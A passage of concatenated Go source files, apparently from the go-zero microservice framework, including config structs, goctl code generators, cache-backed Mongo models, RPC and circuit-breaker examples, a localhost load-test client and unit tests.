"portal.Portal", HandlerType: (*PortalServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "Portal", Handler: _Portal_Portal_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "portal.proto", } func init() { proto.RegisterFile("portal.proto", fileDescriptor0) } var fileDescriptor0 = []byte{ // 122 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xe2, 0xe2, 0x29, 0xc8, 0x2f, 0x2a, 0x49, 0xcc, 0xd1, 0x2b, 0x28, 0xca, 0x2f, 0xc9, 0x17, 0x62, 0x83, 0xf0, 0x94, 0x94, 0xb9, 0x78, 0x03, 0xc0, 0xac, 0xa0, 0xd4, 0xc2, 0xd2, 0xd4, 0xe2, 0x12, 0x21, 0x21, 0x2e, 0x96, 0xbc, 0xc4, 0xdc, 0x54, 0x09, 0x46, 0x05, 0x46, 0x0d, 0xce, 0x20, 0x30, 0x5b, 0x49, 0x87, 0x8b, 0x0f, 0xa6, 0xa8, 0xb8, 0x20, 0x3f, 0xaf, 0x38, 0x55, 0x48, 0x8a, 0x8b, 0xa3, 0x08, 0xca, 0x86, 0xaa, 0x84, 0xf3, 0x8d, 0x1c, 0xb9, 0xd8, 0x20, 0xaa, 0x85, 0xcc, 0xe1, 0x2c, 0x51, 0x3d, 0xa8, 0xed, 0x28, 0x96, 0x49, 0x89, 0xa1, 0x0b, 0x43, 0x8c, 0x48, 0x62, 0x03, 0x3b, 0xd2, 0x18, 0x10, 0x00, 0x00, 0xff, 0xff, 0xce, 0x05, 0x16, 0xd0, 0xb4, 0x00, 0x00, 0x00, } ``` config.go ```package config import "github.com/tal-tech/go-zero/core/logx" type Config struct { logx.LogConf ListenOn string FileDir string FilePath string } ``` infostate.go ```package parser import ( "fmt" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) const ( titleTag = "title" descTag = "desc" versionTag = "version" authorTag = "author" emailTag = "email" ) type infoState struct { *baseState innerState int } func newInfoState(st *baseState) state { return &infoState{ baseState: st, innerState: startState, } } func (s *infoState) process(api *spec.ApiSpec) (state, error) { attrs, err := s.parseProperties() if err != nil { return nil, err } if err := s.writeInfo(api, attrs); err != nil { return nil, err } return newRootState(s.r, s.lineNumber), nil } func (s *infoState) writeInfo(api *spec.ApiSpec, attrs map[string]string) error { for k, v := range attrs { switch k { case titleTag: api.Info.Title = strings.TrimSpace(v) case descTag: api.Info.Desc = strings.TrimSpace(v) case versionTag: api.Info.Version = strings.TrimSpace(v) case authorTag: api.Info.Author = strings.TrimSpace(v) case emailTag: api.Info.Email = strings.TrimSpace(v) default: return fmt.Errorf("unknown directive %q in %q section", k, infoDirective) } } return nil } ``` conf.go ```package redis import "errors" var ( ErrEmptyHost = errors.New("empty redis host") ErrEmptyType = errors.New("empty redis type") ErrEmptyKey = errors.New("empty redis key") ) type ( RedisConf struct { Host string Type string `json:",default=node,options=node|cluster"` Pass string `json:",optional"` } RedisKeyConf struct { RedisConf Key string `json:",optional"` } ) func (rc RedisConf) NewRedis() *Redis { return NewRedis(rc.Host, rc.Type, rc.Pass) } func (rc RedisConf) Validate() error { if len(rc.Host) == 0 { return ErrEmptyHost } if len(rc.Type) == 0 { return ErrEmptyType } return nil } func (rkc RedisKeyConf) Validate() error { if err := rkc.RedisConf.Validate(); err != nil { return err } if len(rkc.Key) == 0 { return ErrEmptyKey } return nil } ``` bufferpool.go ```package iox import ( "bytes" "sync" ) type BufferPool struct { capability int pool *sync.Pool } func NewBufferPool(capability int) *BufferPool { return &BufferPool{ capability: capability, pool: &sync.Pool{ New: func() interface{} { return new(bytes.Buffer) }, }, } } func (bp *BufferPool) Get() *bytes.Buffer { buf := bp.pool.Get().(*bytes.Buffer) buf.Reset() return buf } func (bp *BufferPool) Put(buf *bytes.Buffer) { if buf.Cap() < bp.capability { bp.pool.Put(buf) } } ``` cachedmodel.go ```package mongoc import ( "log" "github.com/globalsign/mgo" "github.com/tal-tech/go-zero/core/stores/cache" "github.com/tal-tech/go-zero/core/stores/mongo" "github.com/tal-tech/go-zero/core/stores/redis" ) type Model struct { *mongo.Model cache cache.Cache generateCollection func(*mgo.Session) *cachedCollection } func MustNewNodeModel(url, collection string, rds *redis.Redis, opts ...cache.Option) *Model { model, err := NewNodeModel(url, collection, rds, opts...) if err != nil { log.Fatal(err) } return model } func MustNewModel(url, collection string, c cache.CacheConf, opts ...cache.Option) *Model { model, err := NewModel(url, collection, c, opts...) if err != nil { log.Fatal(err) } return model } func NewNodeModel(url, collection string, rds *redis.Redis, opts ...cache.Option) (*Model, error) { c := cache.NewCacheNode(rds, sharedCalls, stats, mgo.ErrNotFound, opts...) return createModel(url, collection, c, func(collection mongo.Collection) *cachedCollection { return newCollection(collection, c) }) } func NewModel(url, collection string, conf cache.CacheConf, opts ...cache.Option) (*Model, error) { c := cache.NewCache(conf, sharedCalls, stats, mgo.ErrNotFound, opts...) return createModel(url, collection, c, func(collection mongo.Collection) *cachedCollection { return newCollection(collection, c) }) } func (mm *Model) Count(query interface{}) (int, error) { return mm.executeInt(func(c *cachedCollection) (int, error) { return c.Count(query) }) } func (mm *Model) DelCache(keys ...string) error { return mm.cache.DelCache(keys...) } func (mm *Model) GetCache(key string, v interface{}) error { return mm.cache.GetCache(key, v) } func (mm *Model) GetCollection(session *mgo.Session) *cachedCollection { return mm.generateCollection(session) } func (mm *Model) FindAllNoCache(v interface{}, query interface{}, opts ...QueryOption) error { return mm.execute(func(c *cachedCollection) error { return c.FindAllNoCache(v, query, opts...) }) } func (mm *Model) FindOne(v interface{}, key string, query interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.FindOne(v, key, query) }) } func (mm *Model) FindOneNoCache(v interface{}, query interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.FindOneNoCache(v, query) }) } func (mm *Model) FindOneId(v interface{}, key string, id interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.FindOneId(v, key, id) }) } func (mm *Model) FindOneIdNoCache(v interface{}, id interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.FindOneIdNoCache(v, id) }) } func (mm *Model) Insert(docs ...interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.Insert(docs...) }) } func (mm *Model) Pipe(pipeline interface{}) (mongo.Pipe, error) { return mm.pipe(func(c *cachedCollection) mongo.Pipe { return c.Pipe(pipeline) }) } func (mm *Model) Remove(selector interface{}, keys ...string) error { return mm.execute(func(c *cachedCollection) error { return c.Remove(selector, keys...) }) } func (mm *Model) RemoveNoCache(selector interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.RemoveNoCache(selector) }) } func (mm *Model) RemoveAll(selector interface{}, keys ...string) (*mgo.ChangeInfo, error) { return mm.change(func(c *cachedCollection) (*mgo.ChangeInfo, error) { return c.RemoveAll(selector, keys...) }) } func (mm *Model) RemoveAllNoCache(selector interface{}) (*mgo.ChangeInfo, error) { return mm.change(func(c *cachedCollection) (*mgo.ChangeInfo, error) { return c.RemoveAllNoCache(selector) }) } func (mm *Model) RemoveId(id interface{}, keys ...string) error { return mm.execute(func(c *cachedCollection) error { return c.RemoveId(id, keys...) }) } func (mm *Model) RemoveIdNoCache(id interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.RemoveIdNoCache(id) }) } func (mm *Model) SetCache(key string, v interface{}) error { return mm.cache.SetCache(key, v) } func (mm *Model) Update(selector, update interface{}, keys ...string) error { return mm.execute(func(c *cachedCollection) error { return c.Update(selector, update, keys...) }) } func (mm *Model) UpdateNoCache(selector, update interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.UpdateNoCache(selector, update) }) } func (mm *Model) UpdateId(id, update interface{}, keys ...string) error { return mm.execute(func(c *cachedCollection) error { return c.UpdateId(id, update, keys...) }) } func (mm *Model) UpdateIdNoCache(id, update interface{}) error { return mm.execute(func(c *cachedCollection) error { return c.UpdateIdNoCache(id, update) }) } func (mm *Model) Upsert(selector, update interface{}, keys ...string) (*mgo.ChangeInfo, error) { return mm.change(func(c *cachedCollection) (*mgo.ChangeInfo, error) { return c.Upsert(selector, update, keys...) }) } func (mm *Model) UpsertNoCache(selector, update interface{}) (*mgo.ChangeInfo, error) { return mm.change(func(c *cachedCollection) (*mgo.ChangeInfo, error) { return c.UpsertNoCache(selector, update) }) } func (mm *Model) change(fn func(c *cachedCollection) (*mgo.ChangeInfo, error)) (*mgo.ChangeInfo, error) { session, err := mm.TakeSession() if err != nil { return nil, err } defer mm.PutSession(session) return fn(mm.GetCollection(session)) } func (mm *Model) execute(fn func(c *cachedCollection) error) error { session, err := mm.TakeSession() if err != nil { return err } defer mm.PutSession(session) return fn(mm.GetCollection(session)) } func (mm *Model) executeInt(fn func(c *cachedCollection) (int, error)) (int, error) { session, err := mm.TakeSession() if err != nil { return 0, err } defer mm.PutSession(session) return fn(mm.GetCollection(session)) } func (mm *Model) pipe(fn func(c *cachedCollection) mongo.Pipe) (mongo.Pipe, error) { session, err := mm.TakeSession() if err != nil { return nil, err } defer mm.PutSession(session) return fn(mm.GetCollection(session)), nil } func createModel(url, collection string, c cache.Cache, create func(mongo.Collection) *cachedCollection) (*Model, error) { model, err := mongo.NewModel(url, collection) if err != nil { return nil, err } return &Model{ Model: model, cache: c, generateCollection: func(session *mgo.Session) *cachedCollection { collection := model.GetCollection(session) return create(collection) }, }, nil } ``` irregular.go ```package main import ( "fmt" "time" "github.com/tal-tech/go-zero/core/mr" ) func main() { mr.MapReduceVoid(func(source chan<- interface{}) { for i := 0; i < 10; i++ { source <- i } }, func(item interface{}, writer mr.Writer, cancel func(error)) { i := item.(int) if i == 0 { time.Sleep(10 * time.Second) } else { time.Sleep(5 * time.Second) } writer.Write(i) }, func(pipe <-chan interface{}, cancel func(error)) { for i := range pipe { fmt.Println(i) } }) } ``` config.go ```package config import ( "errors" "io/ioutil" "os" "path/filepath" "strings" "github.com/tal-tech/go-zero/tools/goctl/util" "gopkg.in/yaml.v2" ) const ( configFile = "config.yaml" configFolder = "config" DefaultFormat = "gozero" ) const defaultYaml = `# namingFormat is used to define the naming format of the generated file name. # just like time formatting, you can specify the formatting style through the # two format characters go, and zero. for example: snake format you can # define as go_zero, camel case format you can it is defined as goZero, # and even split characters can be specified, such as go#zero. in theory, # any combination can be used, but the prerequisite must meet the naming conventions # of each operating system file name. if you want to independently control the file # naming style of the api, rpc, and model layers, you can set it through apiNamingFormat, # rpcNamingFormat, modelNamingFormat, and independent control is not enabled by default. # for more information, please see #{apiNamingFormat},#{rpcNamingFormat},#{modelNamingFormat} # Note: namingFormat is based on snake or camel string namingFormat: gozero ` type Config struct { // NamingFormat is used to define the naming format of the generated file name. // just like time formatting, you can specify the formatting style through the // two format characters go, and zero. for example: snake format you can // define as go_zero, camel case format you can it is defined as goZero, // and even split characters can be specified, such as go#zero. in theory, // any combination can be used, but the prerequisite must meet the naming conventions // of each operating system file name. // Note: NamingFormat is based on snake or camel string NamingFormat string `yaml:"namingFormat"` } func NewConfig(format string) (*Config, error) { if len(format) == 0 { format = DefaultFormat } cfg := &Config{NamingFormat: format} err := validate(cfg) return cfg, err } func InitOrGetConfig() (*Config, error) { var ( defaultConfig Config ) err := yaml.Unmarshal([]byte(defaultYaml), &defaultConfig) if err != nil { return nil, err } goctlHome, err := util.GetGoctlHome() if err != nil { return nil, err } configDir := filepath.Join(goctlHome, configFolder) configFilename := filepath.Join(configDir, configFile) if util.FileExists(configFilename) { data, err := ioutil.ReadFile(configFilename) if err != nil { return nil, err } err = yaml.Unmarshal(data, &defaultConfig) if err != nil { return nil, err } err = validate(&defaultConfig) if err != nil { return nil, err } return &defaultConfig, nil } err = util.MkdirIfNotExist(configDir) if err != nil { return nil, err } f, err := os.Create(configFilename) if err != nil { return nil, err } defer func() { _ = f.Close() }() _, err = f.WriteString(defaultYaml) if err != nil { return nil, err } err = validate(&defaultConfig) if err != nil { return nil, err } return &defaultConfig, nil } func validate(cfg *Config) error { if len(strings.TrimSpace(cfg.NamingFormat)) == 0 { return errors.New("missing namingFormat") } return nil } ``` template.go ```package gogen import ( "fmt" "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/urfave/cli" ) const ( category = "api" configTemplateFile = "config.tpl" contextTemplateFile = "context.tpl" etcTemplateFile = "etc.tpl" handlerTemplateFile = "handler.tpl" logicTemplateFile = "logic.tpl" mainTemplateFile = "main.tpl" ) var templates = map[string]string{ configTemplateFile: configTemplate, contextTemplateFile: contextTemplate, etcTemplateFile: etcTemplate, handlerTemplateFile: handlerTemplate, logicTemplateFile: logicTemplate, mainTemplateFile: mainTemplate, } func GenTemplates(_ *cli.Context) error { return util.InitTemplates(category, templates) } func RevertTemplate(name string) error { content, ok := templates[name] if !ok { return fmt.Errorf("%s: no such file name", name) } return util.CreateTemplate(category, name, content) } func Update(category string) error { err := Clean() if err != nil { return err } return util.InitTemplates(category, templates) } func Clean() error { return util.Clean(category) } func GetCategory() string { return category } ``` genpacket.go ```package tsgen import ( "errors" "fmt" "path" "strings" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" apiutil "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/util" ) const ( handlerTemplate = `{{.imports}} {{.types}} {{.apis}} ` ) func genHandler(dir, webApi, caller string, api *spec.ApiSpec, unwrapApi bool) error { filename := strings.Replace(api.Service.Name, "-api", "", 1) + ".ts" if err := util.RemoveIfExist(path.Join(dir, filename)); err != nil { return err } fp, created, err := apiutil.MaybeCreateFile(dir, "", filename) if err != nil { return err } if !created { return nil } defer fp.Close() var localTypes []spec.Type for _, route := range api.Service.Routes() { rts := apiutil.GetLocalTypes(api, route) localTypes = append(localTypes, rts...) } var prefixForType = func(ty string) string { if _, pri := primitiveType(ty); pri { return "" } for _, item := range localTypes { if util.Title(item.Name) == ty { return "" } } return packagePrefix } types, err := genTypes(localTypes, func(name string) (*spec.Type, error) { for _, ty := range api.Types { if strings.ToLower(ty.Name) == strings.ToLower(name) { return &ty, nil } } return nil, errors.New("inline type " + name + " not exist, please correct api file") }, prefixForType) if err != nil { return err } imports := "" if len(caller) == 0 { caller = "webapi" } importCaller := caller if unwrapApi { importCaller = "{ " + importCaller + " }" } if len(webApi) > 0 { imports += `import ` + importCaller + ` from ` + "\"" + webApi + "\"" } shardTypes := apiutil.GetSharedTypes(api) if len(shardTypes) != 0 { if len(imports) > 0 { imports += "\n" } outputFile := apiutil.ComponentName(api) imports += fmt.Sprintf(`import * as components from "%s"`, "./"+outputFile) } apis, err := genApi(api, localTypes, caller, prefixForType) if err != nil { return err } t := template.Must(template.New("handlerTemplate").Parse(handlerTemplate)) return t.Execute(fp, map[string]string{ "webApi": webApi, "types": strings.TrimSpace(types), "imports": imports, "apis": strings.TrimSpace(apis), }) } func genTypes(localTypes []spec.Type, inlineType func(string) (*spec.Type, error), prefixForType func(string) string) (string, error) { var builder strings.Builder var first bool for _, tp := range localTypes { if first { first = false } else { fmt.Fprintln(&builder) } if err := writeType(&builder, tp, func(name string) (s *spec.Type, err error) { return inlineType(name) }, prefixForType); err != nil { return "", err } } types := builder.String() return types, nil } func genApi(api *spec.ApiSpec, localTypes []spec.Type, caller string, prefixForType func(string) string) (string, error) { var builder strings.Builder for _, route := range api.Service.Routes() { handler, ok := apiutil.GetAnnotationValue(route.Annotations, "server", "handler") if !ok { return "", fmt.Errorf("missing handler annotation for route %q", route.Path) } handler = util.Untitle(handler) handler = strings.Replace(handler, "Handler", "", 1) comment := commentForRoute(route) if len(comment) > 0 { fmt.Fprintf(&builder, "%s\n", comment) } fmt.Fprintf(&builder, "export function %s(%s) {\n", handler, paramsForRoute(route, prefixForType)) writeIndent(&builder, 1) responseGeneric := "<null>" if len(route.ResponseType.Name) > 0 { val, err := goTypeToTs(route.ResponseType.Name, prefixForType) if err != nil { return "", err } responseGeneric = fmt.Sprintf("<%s>", val) } fmt.Fprintf(&builder, `return %s.%s%s(%s)`, caller, strings.ToLower(route.Method), util.Title(responseGeneric), callParamsForRoute(route)) builder.WriteString("\n}\n\n") } apis := builder.String() return apis, nil } func paramsForRoute(route spec.Route, prefixForType func(string) string) string { hasParams := pathHasParams(route) hasBody := hasRequestBody(route) rt, err := goTypeToTs(route.RequestType.Name, prefixForType) if err != nil { fmt.Println(err.Error()) return "" } if hasParams && hasBody { return fmt.Sprintf("params: %s, req: %s", rt+"Params", rt) } else if hasParams { return fmt.Sprintf("params: %s", rt+"Params") } else if hasBody { return fmt.Sprintf("req: %s", rt) } return "" } func commentForRoute(route spec.Route) string { var builder strings.Builder comment, _ := apiutil.GetAnnotationValue(route.Annotations, "doc", "summary") builder.WriteString("/**") builder.WriteString("\n * @description " + comment) hasParams := pathHasParams(route) hasBody := hasRequestBody(route) if hasParams && hasBody { builder.WriteString("\n * @param params") builder.WriteString("\n * @param req") } else if hasParams { builder.WriteString("\n * @param params") } else if hasBody { builder.WriteString("\n * @param req") } builder.WriteString("\n */") return builder.String() } func callParamsForRoute(route spec.Route) string { hasParams := pathHasParams(route) hasBody := hasRequestBody(route) if hasParams && hasBody { return fmt.Sprintf("%s, %s, %s", pathForRoute(route), "params", "req") } else if hasParams { return fmt.Sprintf("%s, %s", pathForRoute(route), "params") } else if hasBody { return fmt.Sprintf("%s, %s", pathForRoute(route), "req") } return pathForRoute(route) } func pathForRoute(route spec.Route) string { return "\"" + route.Path + "\"" } func pathHasParams(route spec.Route) bool { return len(route.RequestType.Members) != len(route.RequestType.GetBodyMembers()) } func hasRequestBody(route spec.Route) bool { return len(route.RequestType.Name) > 0 && len(route.RequestType.GetBodyMembers()) > 0 } ``` state.go ```package parser import "github.com/tal-tech/go-zero/tools/goctl/api/spec" type state interface { process(api *spec.ApiSpec) (state, error) } ``` vars.go ```package internal import "time" const ( autoSyncInterval = time.Minute coolDownInterval = time.Second dialTimeout = 5 * time.Second dialKeepAliveTime = 5 * time.Second requestTimeout = 3 * time.Second Delimiter = '/' endpointsSeparator = "," ) var ( DialTimeout = dialTimeout RequestTimeout = requestTimeout NewClient = DialClient ) ``` main.go ```package main import ( "context" "flag" "fmt" "log" "time" "github.com/tal-tech/go-zero/core/discov" "github.com/tal-tech/go-zero/example/rpc/remote/unary" "github.com/tal-tech/go-zero/zrpc" ) var lb = flag.String("t", "direct", "the load balancer type") func main() { flag.Parse() var cli zrpc.Client switch *lb { case "direct": cli = zrpc.MustNewClient(zrpc.RpcClientConf{ Endpoints: []string{ "localhost:3456", "localhost:3457", }, }) case "discov": cli = zrpc.MustNewClient(zrpc.RpcClientConf{ Etcd: discov.EtcdConf{ Hosts: []string{"localhost:2379"}, Key: "zrpc", }, }) default: log.Fatal("bad load balancing type") } greet := unary.NewGreeterClient(cli.Conn()) ticker := time.NewTicker(time.Second) defer ticker.Stop() for { select { case <-ticker.C: resp, err := greet.Greet(context.Background(), &unary.Request{ Name: "kevin", }) if err != nil { fmt.Println("X", err.Error()) } else { fmt.Println("=>", resp.Greet) } } } } ``` mysql_test.go ```package sqlx import ( "testing" "github.com/go-sql-driver/mysql" "github.com/stretchr/testify/assert" "github.com/tal-tech/go-zero/core/breaker" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/stat" ) func init() { stat.SetReporter(nil) } func TestBreakerOnDuplicateEntry(t *testing.T) { logx.Disable() err := tryOnDuplicateEntryError(t, mysqlAcceptable) assert.Equal(t, duplicateEntryCode, err.(*mysql.MySQLError).Number) } func TestBreakerOnNotHandlingDuplicateEntry(t *testing.T) { logx.Disable() var found bool for i := 0; i < 100; i++ { if tryOnDuplicateEntryError(t, nil) == breaker.ErrServiceUnavailable { found = true } } assert.True(t, found) } func tryOnDuplicateEntryError(t *testing.T, accept func(error) bool) error { logx.Disable() conn := commonSqlConn{ brk: breaker.NewBreaker(), accept: accept, } for i := 0; i < 1000; i++ { assert.NotNil(t, conn.brk.DoWithAcceptable(func() error { return &mysql.MySQLError{ Number: duplicateEntryCode, } }, conn.acceptable)) } return conn.brk.DoWithAcceptable(func() error { return &mysql.MySQLError{ Number: duplicateEntryCode, } }, conn.acceptable) } ``` consumer.go ```package queue type ( Consumer interface { Consume(string) error OnEvent(event interface{}) } ConsumerFactory func() (Consumer, error) ) ``` client.go ```package main import ( "flag" "fmt" "net/http" "os" "sync" "time" "github.com/tal-tech/go-zero/core/lang" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/threading" "gopkg.in/cheggaaa/pb.v1" ) var ( freq = flag.Int("freq", 100, "frequency") duration = flag.String("duration", "10s", "duration") ) type ( counting struct { ok int fail int reject int errs int unknown int } metric struct { counting lock sync.Mutex } ) func (m *metric) addOk() { m.lock.Lock() m.ok++ m.lock.Unlock() } func (m *metric) addFail() { m.lock.Lock() m.ok++ m.lock.Unlock() } func (m *metric) addReject() { m.lock.Lock() m.ok++ m.lock.Unlock() } func (m *metric) addErrs() { m.lock.Lock() m.errs++ m.lock.Unlock() } func (m *metric) addUnknown() { m.lock.Lock() m.unknown++ m.lock.Unlock() } func (m *metric) reset() counting { m.lock.Lock() result := counting{ ok: m.ok, fail: m.fail, reject: m.reject, errs: m.errs, unknown: m.unknown, } m.ok = 0 m.fail = 0 m.reject = 0 m.errs = 0 m.unknown = 0 m.lock.Unlock() return result } func runRequests(url string, frequency int, metrics *metric, done <-chan lang.PlaceholderType) { ticker := time.NewTicker(time.Second / time.Duration(frequency)) defer ticker.Stop() for { select { case <-ticker.C: go func() { resp, err := http.Get(url) if err != nil { metrics.addErrs() return } defer resp.Body.Close() switch resp.StatusCode { case http.StatusOK: metrics.addOk() case http.StatusInternalServerError: metrics.addFail() case http.StatusServiceUnavailable: metrics.addReject() default: metrics.addUnknown() } }() case <-done: return } } } func main() { flag.Parse() fp, err := os.Create("result.csv") logx.Must(err) defer fp.Close() fmt.Fprintln(fp, "seconds,goodOk,goodFail,goodReject,goodErrs,goodUnknowns,goodDropRatio,"+ "heavyOk,heavyFail,heavyReject,heavyErrs,heavyUnknowns,heavyDropRatio") var gm, hm metric dur, err := time.ParseDuration(*duration) logx.Must(err) done := make(chan lang.PlaceholderType) group := threading.NewRoutineGroup() group.RunSafe(func() { runRequests("http://localhost:8080/heavy", *freq, &hm, done) }) group.RunSafe(func() { runRequests("http://localhost:8080/good", *freq, &gm, done) }) go func() { ticker := time.NewTicker(time.Second) defer ticker.Stop() var seconds int for range ticker.C { seconds++ g := gm.reset() h := hm.reset() fmt.Fprintf(fp, "%d,%d,%d,%d,%d,%d,%.1f,%d,%d,%d,%d,%d,%.1f\n", seconds, g.ok, g.fail, g.reject, g.errs, g.unknown, float32(g.reject)/float32(g.ok+g.fail+g.reject+g.unknown), h.ok, h.fail, h.reject, h.errs, h.unknown, float32(h.reject)/float32(h.ok+h.fail+h.reject+h.unknown)) } }() go func() { bar := pb.New(int(dur / time.Second)).Start() ticker := time.NewTicker(time.Second) defer ticker.Stop() for range ticker.C { bar.Increment() } bar.Finish() }() <-time.After(dur) close(done) group.Wait() time.Sleep(time.Millisecond * 900) } ``` ring_test.go ```package collection import ( "testing" "github.com/stretchr/testify/assert" ) func TestNewRing(t *testing.T) { assert.Panics(t, func() { NewRing(0) }) } func TestRingLess(t *testing.T) { ring := NewRing(5) for i := 0; i < 3; i++ { ring.Add(i) } elements := ring.Take() assert.ElementsMatch(t, []interface{}{0, 1, 2}, elements) } func TestRingMore(t *testing.T) { ring := NewRing(5) for i := 0; i < 11; i++ { ring.Add(i) } elements := ring.Take() assert.ElementsMatch(t, []interface{}{6, 7, 8, 9, 10}, elements) } ``` gentypes.go ```package gogen import ( "bytes" "errors" "fmt" "io" "os" "path" "strings" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" apiutil "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/config" "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/tal-tech/go-zero/tools/goctl/util/format" ) const ( typesFile = "types" typesTemplate = `// Code generated by goctl. DO NOT EDIT. package types{{if .containsTime}} import ( "time" ){{end}} {{.types}} ` ) func BuildTypes(types []spec.Type) (string, error) { var builder strings.Builder first := true for _, tp := range types { if first { first = false } else { builder.WriteString("\n\n") } if err := writeType(&builder, tp, types); err != nil { return "", apiutil.WrapErr(err, "Type "+tp.Name+" generate error") } } return builder.String(), nil } func genTypes(dir string, cfg *config.Config, api *spec.ApiSpec) error { val, err := BuildTypes(api.Types) if err != nil { return err } typeFilename, err := format.FileNamingFormat(cfg.NamingFormat, typesFile) if err != nil { return err } typeFilename = typeFilename + ".go" filename := path.Join(dir, typesDir, typeFilename) os.Remove(filename) fp, created, err := apiutil.MaybeCreateFile(dir, typesDir, typeFilename) if err != nil { return err } if !created { return nil } defer fp.Close() t := template.Must(template.New("typesTemplate").Parse(typesTemplate)) buffer := new(bytes.Buffer) err = t.Execute(buffer, map[string]interface{}{ "types": val, "containsTime": api.ContainsTime(), }) if err != nil { return err } formatCode := formatCode(buffer.String()) _, err = fp.WriteString(formatCode) return err } func convertTypeCase(types []spec.Type, t string) (string, error) { ts, err := apiutil.DecomposeType(t) if err != nil { return "", err } var defTypes []string for _, tp := range ts { for _, typ := range types { if typ.Name == tp { defTypes = append(defTypes, tp) } } } for _, tp := range defTypes { t = strings.ReplaceAll(t, tp, util.Title(tp)) } return t, nil } func writeType(writer io.Writer, tp spec.Type, types []spec.Type) error { fmt.Fprintf(writer, "type %s struct {\n", util.Title(tp.Name)) for _, member := range tp.Members { if member.IsInline { var found = false for _, ty := range types { if strings.ToLower(ty.Name) == strings.ToLower(member.Name) { found = true } } if !found { return errors.New("inline type " + member.Name + " not exist, please correct api file") } if _, err := fmt.Fprintf(writer, "%s\n", strings.Title(member.Type)); err != nil { return err } else { continue } } tpString, err := convertTypeCase(types, member.Type) if err != nil { return err } pm, err := member.GetPropertyName() if err != nil { return err } if !strings.Contains(pm, "_") { if strings.Title(member.Name) != strings.Title(pm) { fmt.Printf("type: %s, property name %s json tag illegal, "+ "should set json tag as `json:\"%s\"` \n", tp.Name, member.Name, util.Untitle(member.Name)) } } if err := writeProperty(writer, member.Name, tpString, member.Tag, member.GetComment(), 1); err != nil { return err } } fmt.Fprintf(writer, "}") return nil } ``` graceful.go ```package main import ( "flag" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/example/graceful/etcd/api/config" "github.com/tal-tech/go-zero/example/graceful/etcd/api/handler" "github.com/tal-tech/go-zero/example/graceful/etcd/api/svc" "github.com/tal-tech/go-zero/rest" "github.com/tal-tech/go-zero/zrpc" ) var configFile = flag.String("f", "etc/graceful-api.json", "the config file") func main() { flag.Parse() var c config.Config conf.MustLoad(*configFile, &c) client := zrpc.MustNewClient(c.Rpc) ctx := &svc.ServiceContext{ Client: client, } engine := rest.MustNewServer(c.RestConf) defer engine.Stop() handler.RegisterHandlers(engine, ctx) engine.Start() } ``` chainclientinterceptors.go ```package internal import "google.golang.org/grpc" func WithStreamClientInterceptors(interceptors ...grpc.StreamClientInterceptor) grpc.DialOption { return grpc.WithChainStreamInterceptor(interceptors...) } func WithUnaryClientInterceptors(interceptors ...grpc.UnaryClientInterceptor) grpc.DialOption { return grpc.WithChainUnaryInterceptor(interceptors...) } ``` sharding.go ```package sharding import "github.com/dchest/siphash" func sharding(token string) uint64 { sum := siphash.Hash(0, 0, []byte(token)) return sum % 3 } ``` metric.go ```package metric // VectorOpts general configuration type VectorOpts struct { Namespace string Subsystem string Name string Help string Labels []string } ``` main.go ```package main import ( "fmt" "math/rand" "os" "sync" "sync/atomic" "time" "github.com/tal-tech/go-zero/core/breaker" "github.com/tal-tech/go-zero/core/lang" "github.com/tal-tech/go-zero/core/logx" "gopkg.in/cheggaaa/pb.v1" ) const ( duration = time.Minute * 5 breakRange = 20 workRange = 50 requestInterval = time.Millisecond // multiply to make it visible in plot stateFator = float64(time.Second/requestInterval) / 2 ) type ( server struct { state int32 } metric struct { calls int64 } ) func (m *metric) addCall() { atomic.AddInt64(&m.calls, 1) } func (m *metric) reset() int64 { return atomic.SwapInt64(&m.calls, 0) } func newServer() *server { return &server{} } func (s *server) serve(m *metric) bool { m.addCall() return atomic.LoadInt32(&s.state) == 1 } func (s *server) start() { go func() { r := rand.New(rand.NewSource(time.Now().UnixNano())) var state int32 for { var v int32 if state == 0 { v = r.Int31n(breakRange) } else { v = r.Int31n(workRange) } time.Sleep(time.Second * time.Duration(v+1)) state ^= 1 atomic.StoreInt32(&s.state, state) } }() } func runBreaker(s *server, br breaker.Breaker, duration time.Duration, m *metric) { ticker := time.NewTicker(requestInterval) defer ticker.Stop() done := make(chan lang.PlaceholderType) go func() { time.Sleep(duration) close(done) }() for { select { case <-ticker.C: _ = br.Do(func() error { if s.serve(m) { return nil } else { return breaker.ErrServiceUnavailable } }) case <-done: return } } } func main() { srv := newServer() srv.start() gb := breaker.NewBreaker() fp, err := os.Create("result.csv") logx.Must(err) defer fp.Close() fmt.Fprintln(fp, "seconds,state,googleCalls,netflixCalls") var gm, nm metric go func() { ticker := time.NewTicker(time.Second) defer ticker.Stop() var seconds int for range ticker.C { seconds++ gcalls := gm.reset() ncalls := nm.reset() fmt.Fprintf(fp, "%d,%.2f,%d,%d\n", seconds, float64(atomic.LoadInt32(&srv.state))*stateFator, gcalls, ncalls) } }() var waitGroup sync.WaitGroup waitGroup.Add(1) go func() { runBreaker(srv, gb, duration, &gm) waitGroup.Done() }() go func() { bar := pb.New(int(duration / time.Second)).Start() ticker := time.NewTicker(time.Second) defer ticker.Stop() for range ticker.C { bar.Increment() } bar.Finish() }() waitGroup.Wait() } ``` types_test.go ```package converter import ( "testing" "github.com/stretchr/testify/assert" ) func TestConvertDataType(t *testing.T) { v, err := ConvertDataType("tinyint") 